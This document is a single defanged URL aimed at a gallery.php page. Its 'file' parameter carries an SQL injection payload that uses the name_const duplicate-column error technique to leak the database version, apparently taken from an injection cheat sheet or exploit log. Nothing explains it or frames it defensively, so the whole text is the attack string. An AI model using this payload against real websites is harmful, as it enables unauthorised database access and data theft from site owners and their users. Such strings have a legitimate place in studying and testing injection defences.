hxxp://site.com/gallery.php?file=(select*from(select+name_const(ve rsion(),1),name_const(version(),1))a)